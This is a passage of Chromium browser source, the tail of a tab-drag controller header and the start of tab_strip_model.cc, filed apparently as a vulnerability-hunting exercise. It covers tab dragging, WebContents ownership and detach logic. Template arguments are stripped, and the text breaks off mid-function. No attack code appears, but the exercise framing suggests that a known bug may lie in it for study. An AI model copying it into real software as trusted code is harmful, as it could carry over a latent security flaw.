dragged. struct TabDragData { TabDragData(); TabDragData(const TabDragData&) = delete; TabDragData& operator=(const TabDragData&) = delete; ~TabDragData(); TabDragData(TabDragData&&); // The WebContents being dragged. content::WebContents* contents; // There is a brief period of time when a tab is being moved from one tab // strip to another [after Detach but before Attach] that the TabDragData // owns the WebContents. std::unique_ptr owned_contents; // This is the index of the tab in |source_context_| when the drag // began. This is used to restore the previous state if the drag is aborted. int source_model_index; // If attached this is the view in |attached_context_|. TabSlotView* attached_view; // Is the tab pinned? bool pinned; // Contains the information for the tab's group at the start of the drag. struct TabGroupData { tab_groups::TabGroupId group_id; tab_groups::TabGroupVisualData group_visual_data; }; // Stores the information of the group the tab is in, or nullopt if tab is // not grouped. base::Optional tab_group_data; }; typedef std::vector DragData; // Sets |drag_data| from |view|. This also registers for necessary // notifications and resets the delegate of the WebContents. void InitDragData(TabSlotView* view, TabDragData* drag_data); // Overriden from views::WidgetObserver: void OnWidgetBoundsChanged(views::Widget* widget, const gfx::Rect& new_bounds) override; void OnWidgetDestroyed(views::Widget* widget) override; // Forget the source tabstrip. It doesn't exist any more, so it doesn't // make sense to insert dragged tabs back into it if the drag is reverted. void OnSourceTabStripEmpty(); // A tab was closed in the active tabstrip. Clean up if we were dragging it. void OnActiveStripWebContentsRemoved(content::WebContents* contents); // Initialize the offset used to calculate the position to create windows // in |GetWindowCreatePoint|. This should only be invoked from |Init|. void InitWindowCreatePoint(); // Returns the point where a detached window should be created given the // current mouse position |origin|. gfx::Point GetWindowCreatePoint(const gfx::Point& origin) const; void UpdateDockInfo(const gfx::Point& point_in_screen); // Saves focus in the window that the drag initiated from. Focus will be // restored appropriately if the drag ends within this same window. void SaveFocus(); // Restore focus to the View that had focus before the drag was started, if // the drag ends within the same Window as it began. void RestoreFocus(); // Tests whether |point_in_screen| is past a minimum elasticity threshold // required to start a drag. bool CanStartDrag(const gfx::Point& point_in_screen) const; // Invoked once a drag has started to determine the appropriate context to // drag to (which may be the currently attached one). Liveness ContinueDragging(const gfx::Point& point_in_screen) WARN_UNUSED_RESULT; // Transitions dragging from |attached_context_| to |target_context|. // |target_context| is NULL if the mouse is not over a valid tab strip. See // DragBrowserResultType for details of the return type. DragBrowserResultType DragBrowserToNewTabStrip( TabDragContext* target_context, const gfx::Point& point_in_screen); // Handles dragging for a touch context when the tabs are stacked. Doesn't // actually reorder the tabs in anyway, just changes what's visible. void DragActiveTabStacked(const gfx::Point& point_in_screen); // Moves the active tab to the next/previous tab. Used when the next/previous // tab is stacked. void MoveAttachedToNextStackedIndex(const gfx::Point& point_in_screen); void MoveAttachedToPreviousStackedIndex(const gfx::Point& point_in_screen); // Handles dragging tabs while the tabs are attached. |just_attached| should // be true iff this is the first call to MoveAttached after attaching. void MoveAttached(const gfx::Point& point_in_screen, bool just_attached); // If necessary starts the |move_stacked_timer_|. The timer is started if // close enough to an edge with stacked tabs. void StartMoveStackedTimerIfNecessary(const gfx::Point& point_in_screen, base::TimeDelta delay); // Returns the compatible TabDragContext to drag to at the // specified point (screen coordinates), or nullptr if there is none. Liveness GetTargetTabStripForPoint(const gfx::Point& point_in_screen, TabDragContext** tab_strip); // Returns true if |context| contains the specified point in screen // coordinates. bool DoesTabStripContain(TabDragContext* context, const gfx::Point& point_in_screen) const; // Returns the DetachPosition given the specified location in screen // coordinates. DetachPosition GetDetachPosition(const gfx::Point& point_in_screen); // Attach the dragged Tab to the specified TabDragContext. If // |set_capture| is true, the newly attached context will have capture. void Attach(TabDragContext* attached_context, const gfx::Point& point_in_screen, bool set_capture = true); // Detach the dragged Tab from the current TabDragContext. void Detach(ReleaseCapture release_capture); // Detaches the tabs being dragged, creates a new Browser to contain them and // runs a nested move loop. void DetachIntoNewBrowserAndRunMoveLoop(const gfx::Point& point_in_screen); // Runs a nested run loop that handles moving the current // Browser. |drag_offset| is the offset from the window origin and is used in // calculating the location of the window offset from the cursor while // dragging. void RunMoveLoop(const gfx::Vector2d& drag_offset); // Retrieves the bounds of the dragged tabs relative to the attached // TabDragContext. |tab_strip_point| is in the attached // TabDragContext's coordinate system. gfx::Rect GetDraggedViewTabStripBounds(const gfx::Point& tab_strip_point); // Gets the position of the dragged tabs relative to the attached tab strip // with the mirroring transform applied. gfx::Point GetAttachedDragPoint(const gfx::Point& point_in_screen); // Finds the TabSlotViews within the specified TabDragContext that // corresponds to the WebContents of the dragged views. Also finds the group // header if it is dragging. Returns an empty vector if not attached. std::vector GetViewsMatchingDraggedContents( TabDragContext* context); // Does the work for EndDrag(). If we actually started a drag and |how_end| is // not TAB_DESTROYED then one of EndDrag() or RevertDrag() is invoked. void EndDragImpl(EndDragType how_end); // Called after the drag ends and |deferred_target_context_| is not nullptr. void PerformDeferredAttach(); // Reverts a cancelled drag operation. void RevertDrag(); // Reverts the tab at |drag_index| in |drag_data_|. void RevertDragAt(size_t drag_index); // Selects the dragged tabs in |model|. Does nothing if there are no longer // any dragged contents (as happens when a WebContents is deleted out from // under us). void ResetSelection(TabStripModel* model); // Restores |initial_selection_model_| to the |source_context_|. void RestoreInitialSelection(); // Finishes a successful drag operation. void CompleteDrag(); // Maximizes the attached window. void MaximizeAttachedWindow(); // Hides the frame for the window that contains the TabDragContext // the current drag session was initiated from. void HideFrame(); void BringWindowUnderPointToFront(const gfx::Point& point_in_screen); // Convenience for getting the TabDragData corresponding to the source view // that the user started dragging. TabDragData* source_view_drag_data() { return &(drag_data_[source_view_index_]); } // Convenience for |source_view_drag_data()->contents|. content::WebContents* source_dragged_contents() { return source_view_drag_data()->contents; } // Returns the number of Tab views currently dragging. // Excludes the TabGroupHeader view, if any. int num_dragging_tabs() { return header_drag_ ? drag_data_.size() - 1 : drag_data_.size(); } // Returns the index of the first Tab, since the first dragging view may // instead be a TabGroupHeader. int first_tab_index() { return header_drag_ ? 1 : 0; } // Returns the Widget of the currently attached TabDragContext's // BrowserView. views::Widget* GetAttachedBrowserWidget(); // Returns true if the tabs were originality one after the other in // |source_context_|. bool AreTabsConsecutive(); // Calculates and returns new bounds for the dragged browser window. // Takes into consideration current and restore bounds of |source| tab strip // preventing the dragged size from being too small. Positions the new bounds // such that the tab that was dragged remains under the |point_in_screen|. // Offsets |drag_bounds| if necessary when dragging to the right from the // source browser. gfx::Rect CalculateDraggedBrowserBounds(TabDragContext* source, const gfx::Point& point_in_screen, std::vector* drag_bounds); // Calculates and returns the dragged bounds for the non-maximize dragged // browser window. Taks into consideration the initial drag offset so that // the dragged tab remains under the |point_in_screen|. gfx::Rect CalculateNonMaximizedDraggedBrowserBounds( views::Widget* widget, const gfx::Point& point_in_screen); // Calculates scaled |drag_bounds| for dragged tabs and sets the tabs bounds. // Layout of the tabstrip is performed and a new tabstrip width calculated. // When |last_tabstrip_width| is larger than the new tabstrip width the tabs // in the attached tabstrip are scaled and the attached browser is positioned // such that the tab that was dragged remains under the |point_in_screen|. // |drag_offset| is the offset of |point_in_screen| from the origin of the // dragging browser window, and will be updated when this method ends up with // changing the origin of the attached browser window. void AdjustBrowserAndTabBoundsForDrag(int last_tabstrip_width, const gfx::Point& point_in_screen, gfx::Vector2d* drag_offset, std::vector* drag_bounds); // Creates and returns a new Browser to handle the drag. Browser* CreateBrowserForDrag(TabDragContext* source, const gfx::Point& point_in_screen, gfx::Vector2d* drag_offset, std::vector* drag_bounds); // Returns the location of the cursor. This is either the location of the // mouse or the location of the current touch point. gfx::Point GetCursorScreenPoint(); // Returns the offset from the top left corner of the window to // |point_in_screen|. gfx::Vector2d GetWindowOffset(const gfx::Point& point_in_screen); // Returns true if moving the mouse only changes the visible tabs. bool move_only() const { return (move_behavior_ == MOVE_VISIBLE_TABS) != 0; } // Returns the NativeWindow in |window| at the specified point. If // |exclude_dragged_view| is true, then the dragged view is not considered. Liveness GetLocalProcessWindow(const gfx::Point& screen_point, bool exclude_dragged_view, gfx::NativeWindow* window) WARN_UNUSED_RESULT; // Sets the dragging info for the current dragged context. On Chrome OS, the // dragging info include two window properties: one is to indicate if the // tab-dragging process starts/stops, and the other is to indicate which // window initiates the dragging. This function is supposed to be called // whenever the dragged tabs are attached to a new tabstrip. void SetTabDraggingInfo(); // Clears the tab dragging info for the current dragged context. This // function is supposed to be called whenever the dragged tabs are detached // from the old context or the tab dragging is ended. void ClearTabDraggingInfo(); // Sets |deferred_target_context_| and updates its corresponding window // property. |location| is the location of the pointer when the deferred // target is set. void SetDeferredTargetTabstrip(TabDragContext* deferred_target_context); DragState current_state_; // Tests whether a drag can be attached to a |window|. Drags may be // disallowed for reasons such as the target: does not support tabs, is // showing a modal, has a different profile, is a different browser type // (NORMAL vs APP). bool CanAttachTo(gfx::NativeWindow window); // Helper method for TabDragController::MoveAttached to update the tab group // membership of selected tabs. UpdateGroupForDraggedTabs should be called // after the tabs move in a drag so the first selected index is the target // index of the move. void UpdateGroupForDraggedTabs(); // Helper method for TabDragController::UpdateGroupForDraggedTabs to decide if // a dragged tab should stay in the tab group. Returns base::nullopt if the // tab should not be in a group. Otherwise returns tab_groups::TabGroupId of // the group the selected tabs should join. base::Optional GetTabGroupForTargetIndex( const std::vector& selected); EventSource event_source_; // The TabDragContext the drag originated from. This is set to null // if destroyed during the drag. TabDragContext* source_context_; // The TabDragContext the dragged Tab is currently attached to, or // null if the dragged Tab is detached. TabDragContext* attached_context_; #if BUILDFLAG(IS_CHROMEOS_ASH) // Observe the target TabDragContext to attach to after the drag // ends. It's only possible to happen in Chrome OS tablet mode, if the dragged // tabs are dragged over an overview window, we should wait until the drag // ends to attach it. std::unique_ptr deferred_target_context_observer_; #endif // Whether capture can be released during the drag. When false, capture should // not be released when transferring capture between widgets and when starting // the move loop. bool can_release_capture_; // The position of the mouse (in screen coordinates) at the start of the drag // operation. This is used to calculate minimum elasticity before a // DraggedTabView is constructed. gfx::Point start_point_in_screen_; // This is the offset of the mouse from the top left of the first Tab where // dragging began. This is used to ensure that the dragged view is always // positioned at the correct location during the drag, and to ensure that the // detached window is created at the right location. gfx::Point mouse_offset_; // Ratio of the x-coordinate of the |source_view_offset| to the width of the // source view. float offset_to_width_ratio_; // A hint to use when positioning new windows created by detaching Tabs. This // is the distance of the mouse from the top left of the dragged tab as if it // were the distance of the mouse from the top left of the first tab in the // attached TabDragContext from the top left of the window. gfx::Point window_create_point_; // Location of the first tab in the source tabstrip in screen coordinates. // This is used to calculate |window_create_point_|. gfx::Point first_source_tab_point_; // Used to track the view that had focus in the window containing // |source_view_|. This is saved so that focus can be restored properly when // a drag begins and ends within this same window. std::unique_ptr old_focused_view_tracker_; // The horizontal position of the mouse cursor in screen coordinates at the // time of the last re-order event. int last_move_screen_loc_; // Timer used to bring the window under the cursor to front. If the user // stops moving the mouse for a brief time over a browser window, it is // brought to front. base::OneShotTimer bring_to_front_timer_; // Timer used to move the stacked tabs. See comment aboue // StartMoveStackedTimerIfNecessary(). base::OneShotTimer move_stacked_timer_; DragData drag_data_; // Index of the source view in |drag_data_|. size_t source_view_index_; // The attached views. Also found in |drag_data_|, but cached for convenience. std::vector attached_views_; // Whether the drag originated from a group header. bool header_drag_; // The group that is being dragged. Only set if the drag originated from a // group header, indicating that the entire group is being dragged together. base::Optional group_; // True until MoveAttached() is first invoked. bool initial_move_; // The selection model before the drag started. See comment above Init() for // details. ui::ListSelectionModel initial_selection_model_; // The selection model of |attached_context_| before the tabs were attached. ui::ListSelectionModel selection_model_before_attach_; // Initial x-coordinates of the tabs when the drag started. Only used for // touch mode. std::vector initial_tab_positions_; // What should occur during ConinueDragging when a tab is attempted to be // detached. DetachBehavior detach_behavior_; MoveBehavior move_behavior_; // Updated as the mouse is moved when attached. Indicates whether the mouse // has ever moved to the left. If the tabs are ever detached this is set to // true. bool mouse_has_ever_moved_left_; // Updated as the mouse is moved when attached. Indicates whether the mouse // has ever moved to the right. If the tabs are ever detached this is set // to true. bool mouse_has_ever_moved_right_; // Last location used in screen coordinates. gfx::Point last_point_in_screen_; // The following are needed when detaching into a browser // (|detach_into_browser_| is true). // True if |attached_context_| is in a browser specifically created for // the drag. bool is_dragging_new_browser_; // True if |source_context_| was maximized before the drag. bool was_source_maximized_; // True if |source_context_| was in immersive fullscreen before the drag. bool was_source_fullscreen_; // True if the initial drag resulted in restoring the window (because it was // maximized). bool did_restore_window_; // The TabDragContext to attach to after the move loop completes. TabDragContext* tab_strip_to_attach_to_after_exit_; // Non-null for the duration of RunMoveLoop. views::Widget* move_loop_widget_; // See description above getter. bool is_mutating_; // |attach_x_| and |attach_index_| are set to the x-coordinate of the mouse // (in terms of the tabstrip) and the insertion index at the time tabs are // dragged into a new browser (attached). They are used to ensure we don't // shift the tabs around in the wrong direction. The two are only valid if // |attach_index_| is not -1. // See comment around use for more details. int attach_x_; int attach_index_; std::unique_ptr key_event_tracker_; std::unique_ptr source_context_emptiness_tracker_; std::unique_ptr attached_context_tabs_closed_tracker_; std::unique_ptr window_finder_; base::ScopedObservation widget_observation_{this}; base::WeakPtrFactory weak_factory_{this}; }; #endif // CHROME_BROWSER_UI_VIEWS_TABS_TAB_DRAG_CONTROLLER_H_ ================================================ FILE: LEVEL_2/exercise_5/tab_strip_model.cc ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/tabs/tab_strip_model.h" #include #include #include #include #include "base/auto_reset.h" #include "base/containers/flat_map.h" #include "base/metrics/histogram_macros.h" #include "base/metrics/user_metrics.h" #include "base/numerics/ranges.h" #include "base/ranges/algorithm.h" #include "base/scoped_observation.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "build/build_config.h" #include "chrome/app/chrome_command_ids.h" #include "chrome/browser/content_settings/host_content_settings_map_factory.h" #include "chrome/browser/defaults.h" #include "chrome/browser/extensions/tab_helper.h" #include "chrome/browser/lifetime/browser_shutdown.h" #include "chrome/browser/profiles/profile.h" #include "chrome/browser/resource_coordinator/tab_helper.h" #include "chrome/browser/send_tab_to_self/send_tab_to_self_desktop_util.h" #include "chrome/browser/send_tab_to_self/send_tab_to_self_util.h" #include "chrome/browser/ui/bookmarks/bookmark_utils.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_commands.h" #include "chrome/browser/ui/browser_finder.h" #include "chrome/browser/ui/read_later/reading_list_model_factory.h" #include "chrome/browser/ui/tab_ui_helper.h" #include "chrome/browser/ui/tabs/tab_group.h" #include "chrome/browser/ui/tabs/tab_group_model.h" #include "chrome/browser/ui/tabs/tab_strip_model_delegate.h" #include "chrome/browser/ui/tabs/tab_strip_model_observer.h" #include "chrome/browser/ui/tabs/tab_strip_model_order_controller.h" #include "chrome/browser/ui/tabs/tab_utils.h" #include "chrome/browser/ui/web_applications/web_app_dialog_utils.h" #include "chrome/browser/ui/web_applications/web_app_launch_utils.h" #include "chrome/common/url_constants.h" #include "chrome/grit/generated_resources.h" #include "components/content_settings/core/browser/host_content_settings_map.h" #include "components/reading_list/core/reading_list_model.h" #include "components/tab_groups/tab_group_id.h" #include "components/tab_groups/tab_group_visual_data.h" #include "components/web_modal/web_contents_modal_dialog_manager.h" #include "content/public/browser/render_process_host.h" #include "content/public/browser/render_widget_host.h" #include "content/public/browser/render_widget_host_observer.h" #include "content/public/browser/render_widget_host_view.h" #include "content/public/browser/web_contents.h" #include "content/public/browser/web_contents_observer.h" #include "ui/base/l10n/l10n_util.h" #include "ui/gfx/range/range.h" #include "ui/gfx/text_elider.h" using base::UserMetricsAction; using content::WebContents; namespace { class RenderWidgetHostVisibilityTracker; // Works similarly to base::AutoReset but checks for access from the wrong // thread as well as ensuring that the previous value of the re-entrancy guard // variable was false. class ReentrancyCheck { public: explicit ReentrancyCheck(bool* guard_flag) : guard_flag_(guard_flag) { DCHECK_CURRENTLY_ON(content::BrowserThread::UI); DCHECK(!*guard_flag_); *guard_flag_ = true; } ~ReentrancyCheck() { *guard_flag_ = false; } private: bool* const guard_flag_; }; // Returns true if the specified transition is one of the types that cause the // opener relationships for the tab in which the transition occurred to be // forgotten. This is generally any navigation that isn't a link click (i.e. // any navigation that can be considered to be the start of a new task distinct // from what had previously occurred in that tab). bool ShouldForgetOpenersForTransition(ui::PageTransition transition) { return ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_TYPED) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_AUTO_BOOKMARK) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_GENERATED) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_KEYWORD) || ui::PageTransitionCoreTypeIs(transition, ui::PAGE_TRANSITION_AUTO_TOPLEVEL); } // Intalls RenderWidgetVisibilityTracker when the active tab has changed. std::unique_ptr InstallRenderWigetVisibilityTracker(const TabStripSelectionChange& selection) { if (!selection.active_tab_changed()) return nullptr; content::RenderWidgetHost* track_host = nullptr; if (selection.new_contents && selection.new_contents->GetRenderWidgetHostView()) { track_host = selection.new_contents->GetRenderWidgetHostView() ->GetRenderWidgetHost(); } return std::make_unique(track_host); } // This tracks (and reports via UMA and tracing) how long it takes before a // RenderWidgetHost is requested to become visible. class RenderWidgetHostVisibilityTracker : public content::RenderWidgetHostObserver { public: explicit RenderWidgetHostVisibilityTracker(content::RenderWidgetHost* host) { if (!host || host->GetView()->IsShowing()) return; observation_.Observe(host); TRACE_EVENT_NESTABLE_ASYNC_BEGIN0("ui,latency", "TabSwitchVisibilityRequest", this); } ~RenderWidgetHostVisibilityTracker() final = default; RenderWidgetHostVisibilityTracker(const RenderWidgetHostVisibilityTracker&) = delete; RenderWidgetHostVisibilityTracker& operator=( const RenderWidgetHostVisibilityTracker&) = delete; private: // content::RenderWidgetHostObserver: void RenderWidgetHostVisibilityChanged(content::RenderWidgetHost* host, bool became_visible) override { DCHECK(became_visible); UMA_HISTOGRAM_CUSTOM_MICROSECONDS_TIMES( "Browser.Tabs.SelectionToVisibilityRequestTime", timer_.Elapsed(), base::TimeDelta::FromMicroseconds(1), base::TimeDelta::FromSeconds(3), 50); TRACE_EVENT_NESTABLE_ASYNC_END0("ui,latency", "TabSwitchVisibilityRequest", this); } void RenderWidgetHostDestroyed(content::RenderWidgetHost* host) override { DCHECK(observation_.IsObservingSource(host)); observation_.Reset(); } base::ScopedObservation observation_{this}; base::ElapsedTimer timer_; }; } // namespace /////////////////////////////////////////////////////////////////////////////// // WebContentsData // An object to own a WebContents that is in a tabstrip, as well as other // various properties it has. class TabStripModel::WebContentsData : public content::WebContentsObserver { public: explicit WebContentsData(std::unique_ptr a_contents); WebContentsData(const WebContentsData&) = delete; WebContentsData& operator=(const WebContentsData&) = delete; // Changes the WebContents that this WebContentsData tracks. std::unique_ptr ReplaceWebContents( std::unique_ptr contents); WebContents* web_contents() { return contents_.get(); } // See comments on fields. WebContents* opener() const { return opener_; } void set_opener(WebContents* value) { DCHECK_NE(value, web_contents()) << "A tab should not be its own opener."; opener_ = value; } void set_reset_opener_on_active_tab_change(bool value) { reset_opener_on_active_tab_change_ = value; } bool reset_opener_on_active_tab_change() const { return reset_opener_on_active_tab_change_; } bool pinned() const { return pinned_; } void set_pinned(bool value) { pinned_ = value; } bool blocked() const { return blocked_; } void set_blocked(bool value) { blocked_ = value; } base::Optional group() const { return group_; } void set_group(base::Optional value) { group_ = value; } private: // Make sure that if someone deletes this WebContents out from under us, it // is properly removed from the tab strip. void WebContentsDestroyed() override; // The WebContents owned by this WebContentsData. std::unique_ptr contents_; // The opener is used to model a set of tabs spawned from a single parent tab. // The relationship is discarded easily, e.g. when the user switches to a tab // not part of the set. This property is used to determine what tab to // activate next when one is closed. WebContents* opener_ = nullptr; // True if |opener_| should be reset when any active tab change occurs (rather // than just one outside the current tree of openers). bool reset_opener_on_active_tab_change_ = false; // Whether the tab is pinned. bool pinned_ = false; // Whether the tab interaction is blocked by a modal dialog. bool blocked_ = false; // The group that contains this tab, if any. base::Optional group_ = base::nullopt; }; TabStripModel::WebContentsData::WebContentsData( std::unique_ptr contents) : content::WebContentsObserver(contents.get()), contents_(std::move(contents)) {} std::unique_ptr TabStripModel::WebContentsData::ReplaceWebContents( std::unique_ptr contents) { contents_.swap(contents); Observe(contents_.get()); return contents; } void TabStripModel::WebContentsData::WebContentsDestroyed() { // TODO(erikchen): Remove this NOTREACHED statement as well as the // WebContents observer - this is just a temporary sanity check to make sure // that unit tests are not destroyed a WebContents out from under a // TabStripModel. NOTREACHED(); } // Holds state for a WebContents that has been detached from the tab strip. Will // also handle WebContents deletion if |will_delete| is true. struct TabStripModel::DetachedWebContents { DetachedWebContents(int index_before_any_removals, int index_at_time_of_removal, std::unique_ptr contents, bool will_delete) : contents(std::move(contents)), index_before_any_removals(index_before_any_removals), index_at_time_of_removal(index_at_time_of_removal), will_delete(will_delete) {} DetachedWebContents(const DetachedWebContents&) = delete; DetachedWebContents& operator=(const DetachedWebContents&) = delete; ~DetachedWebContents() = default; DetachedWebContents(DetachedWebContents&&) = default; std::unique_ptr contents; // The index of the WebContents in the original selection model of the tab // strip [prior to any tabs being removed, if multiple tabs are being // simultaneously removed]. const int index_before_any_removals; // The index of the WebContents at the time it is being removed. If multiple // tabs are being simultaneously removed, the index reflects previously // removed tabs in this batch. const int index_at_time_of_removal; // Whether to delete the WebContents after sending notifications. const bool will_delete; }; // Holds all state necessary to send notifications for detached tabs. struct TabStripModel::DetachNotifications { DetachNotifications(WebContents* initially_active_web_contents, const ui::ListSelectionModel& selection_model) : initially_active_web_contents(initially_active_web_contents), selection_model(selection_model) {} DetachNotifications(const DetachNotifications&) = delete; DetachNotifications& operator=(const DetachNotifications&) = delete; ~DetachNotifications() = default; // The WebContents that was active prior to any detaches happening. // // It's safe to use a raw pointer here because the active web contents, if // detached, is owned by |detached_web_contents|. // // Once the notification for change of active web contents has been sent, // this field is set to nullptr. WebContents* initially_active_web_contents = nullptr; // The WebContents that were recently detached. Observers need to be notified // about these. These must be updated after construction. std::vector> detached_web_contents; // The selection model prior to any tabs being detached. const ui::ListSelectionModel selection_model; }; /////////////////////////////////////////////////////////////////////////////// // TabStripModel, public: constexpr int TabStripModel::kNoTab; TabStripModel::TabStripModel(TabStripModelDelegate* delegate, Profile* profile) : delegate_(delegate), profile_(profile) { DCHECK(delegate_); order_controller_ = std::make_unique(this); group_model_ = std::make_unique(this); constexpr base::TimeDelta kTabScrubbingHistogramIntervalTime = base::TimeDelta::FromSeconds(30); last_tab_switch_timestamp_ = base::TimeTicks::Now(); tab_scrubbing_interval_timer_.Start( FROM_HERE, kTabScrubbingHistogramIntervalTime, base::BindRepeating(&TabStripModel::RecordTabScrubbingMetrics, base::Unretained(this))); } TabStripModel::~TabStripModel() { std::vector observers; for (auto& observer : observers_) observer.ModelDestroyed(TabStripModelObserver::ModelPasskey(), this); contents_data_.clear(); order_controller_.reset(); } void TabStripModel::SetTabStripUI(TabStripModelObserver* observer) { DCHECK(!tab_strip_ui_was_set_); std::vector new_observers{observer}; for (auto& old_observer : observers_) new_observers.push_back(&old_observer); observers_.Clear(); for (auto* new_observer : new_observers) observers_.AddObserver(new_observer); observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this); tab_strip_ui_was_set_ = true; } void TabStripModel::AddObserver(TabStripModelObserver* observer) { observers_.AddObserver(observer); observer->StartedObserving(TabStripModelObserver::ModelPasskey(), this); } void TabStripModel::RemoveObserver(TabStripModelObserver* observer) { observer->StoppedObserving(TabStripModelObserver::ModelPasskey(), this); observers_.RemoveObserver(observer); } bool TabStripModel::ContainsIndex(int index) const { return index >= 0 && index < count(); } void TabStripModel::AppendWebContents(std::unique_ptr contents, bool foreground) { InsertWebContentsAt( count(), std::move(contents), foreground ? (ADD_INHERIT_OPENER | ADD_ACTIVE) : ADD_NONE); } int TabStripModel::InsertWebContentsAt( int index, std::unique_ptr contents, int add_types, base::Optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); return InsertWebContentsAtImpl(index, std::move(contents), add_types, group); } std::unique_ptr TabStripModel::ReplaceWebContentsAt( int index, std::unique_ptr new_contents) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); delegate()->WillAddWebContents(new_contents.get()); DCHECK(ContainsIndex(index)); FixOpeners(index); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); WebContents* raw_new_contents = new_contents.get(); std::unique_ptr old_contents = contents_data_[index]->ReplaceWebContents(std::move(new_contents)); // When the active WebContents is replaced send out a selection notification // too. We do this as nearly all observers need to treat a replacement of the // selected contents as the selection changing. if (active_index() == index) { selection.new_contents = raw_new_contents; selection.reason = TabStripModelObserver::CHANGE_REASON_REPLACED; } TabStripModelChange::Replace replace; replace.old_contents = old_contents.get(); replace.new_contents = raw_new_contents; replace.index = index; TabStripModelChange change(replace); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); return old_contents; } std::unique_ptr TabStripModel::DetachWebContentsAt( int index) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK_NE(active_index(), kNoTab) << "Activate the TabStripModel by " "selecting at least one tab before " "trying to detach web contents."; WebContents* initially_active_web_contents = GetWebContentsAtImpl(active_index()); DetachNotifications notifications(initially_active_web_contents, selection_model_); std::unique_ptr dwc = std::make_unique( index, index, DetachWebContentsImpl(index, /*create_historical_tab=*/false), /*will_delete=*/false); notifications.detached_web_contents.push_back(std::move(dwc)); SendDetachWebContentsNotifications(¬ifications); return std::move(notifications.detached_web_contents[0]->contents); } std::unique_ptr TabStripModel::DetachWebContentsImpl( int index, bool create_historical_tab) { if (contents_data_.empty()) return nullptr; DCHECK(ContainsIndex(index)); FixOpeners(index); // Ask the delegate to save an entry for this tab in the historical tab // database. WebContents* raw_web_contents = GetWebContentsAtImpl(index); if (create_historical_tab) delegate_->CreateHistoricalTab(raw_web_contents); base::Optional next_selected_index = order_controller_->DetermineNewSelectedIndex(index); UngroupTab(index); std::unique_ptr old_data = std::move(contents_data_[index]); contents_data_.erase(contents_data_.begin() + index); if (empty()) { selection_model_.Clear(); } else { int old_active = active_index(); selection_model_.DecrementFrom(index); ui::ListSelectionModel old_model; old_model = selection_model_; if (index == old_active) { if (!selection_model_.empty()) { // The active tab was removed, but there is still something selected. // Move the active and anchor to the first selected index. selection_model_.set_active( *selection_model_.selected_indices().begin()); selection_model_.set_anchor(selection_model_.active()); } else { DCHECK(next_selected_index.has_value()); // The active tab was removed and nothing is selected. Reset the // selection and send out notification. selection_model_.SetSelectedIndex(next_selected_index.value()); } } } return old_data->ReplaceWebContents(nullptr); } void TabStripModel::SendDetachWebContentsNotifications( DetachNotifications* notifications) { // Sort the DetachedWebContents in decreasing order of // |index_before_any_removals|. This is because |index_before_any_removals| is // used by observers to update their own copy of TabStripModel state, and each // removal affects subsequent removals of higher index. std::sort(notifications->detached_web_contents.begin(), notifications->detached_web_contents.end(), [](const std::unique_ptr& dwc1, const std::unique_ptr& dwc2) { return dwc1->index_before_any_removals > dwc2->index_before_any_removals; }); TabStripModelChange::Remove remove; for (auto& dwc : notifications->detached_web_contents) { remove.contents.push_back({dwc->contents.get(), dwc->index_before_any_removals, dwc->will_delete}); } TabStripModelChange change(std::move(remove)); TabStripSelectionChange selection; selection.old_contents = notifications->initially_active_web_contents; selection.new_contents = GetActiveWebContents(); selection.old_model = notifications->selection_model; selection.new_model = selection_model_; selection.reason = TabStripModelObserver::CHANGE_REASON_NONE; selection.selected_tabs_were_removed = std::any_of( notifications->detached_web_contents.begin(), notifications->detached_web_contents.end(), [¬ifications](auto& dwc) { return notifications->selection_model.IsSelected( dwc->index_before_any_removals); }); { auto visibility_tracker = empty() ? nullptr : InstallRenderWigetVisibilityTracker(selection); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } for (auto& dwc : notifications->detached_web_contents) { if (dwc->will_delete) { // This destroys the WebContents, which will also send // WebContentsDestroyed notifications. dwc->contents.reset(); } } if (empty()) { for (auto& observer : observers_) observer.TabStripEmpty(); } } void TabStripModel::ActivateTabAt(int index, UserGestureDetails user_gesture) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); DCHECK(ContainsIndex(index)); TRACE_EVENT0("ui", "TabStripModel::ActivateTabAt"); // Maybe increment count of tabs 'scrubbed' by mouse or key press for // histogram data. if (user_gesture.type == GestureType::kMouse || user_gesture.type == GestureType::kKeyboard) { constexpr base::TimeDelta kMaxTimeConsideredScrubbing = base::TimeDelta::FromMilliseconds(1500); base::TimeDelta elapsed_time_since_tab_switch = base::TimeTicks::Now() - last_tab_switch_timestamp_; if (elapsed_time_since_tab_switch <= kMaxTimeConsideredScrubbing) { if (user_gesture.type == GestureType::kMouse) ++tabs_scrubbed_by_mouse_press_count_; else if (user_gesture.type == GestureType::kKeyboard) ++tabs_scrubbed_by_key_press_count_; } } last_tab_switch_timestamp_ = base::TimeTicks::Now(); TabSwitchEventLatencyRecorder::EventType event_type; switch (user_gesture.type) { case GestureType::kMouse: event_type = TabSwitchEventLatencyRecorder::EventType::kMouse; break; case GestureType::kKeyboard: event_type = TabSwitchEventLatencyRecorder::EventType::kKeyboard; break; case GestureType::kTouch: event_type = TabSwitchEventLatencyRecorder::EventType::kTouch; break; case GestureType::kWheel: event_type = TabSwitchEventLatencyRecorder::EventType::kWheel; break; default: event_type = TabSwitchEventLatencyRecorder::EventType::kOther; break; } tab_switch_event_latency_recorder_.BeginLatencyTiming(user_gesture.time_stamp, event_type); ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectedIndex(index); SetSelection(std::move(new_model), user_gesture.type != GestureType::kNone ? TabStripModelObserver::CHANGE_REASON_USER_GESTURE : TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } void TabStripModel::RecordTabScrubbingMetrics() { UMA_HISTOGRAM_COUNTS_10000("Tabs.ScrubbedInInterval.MousePress", 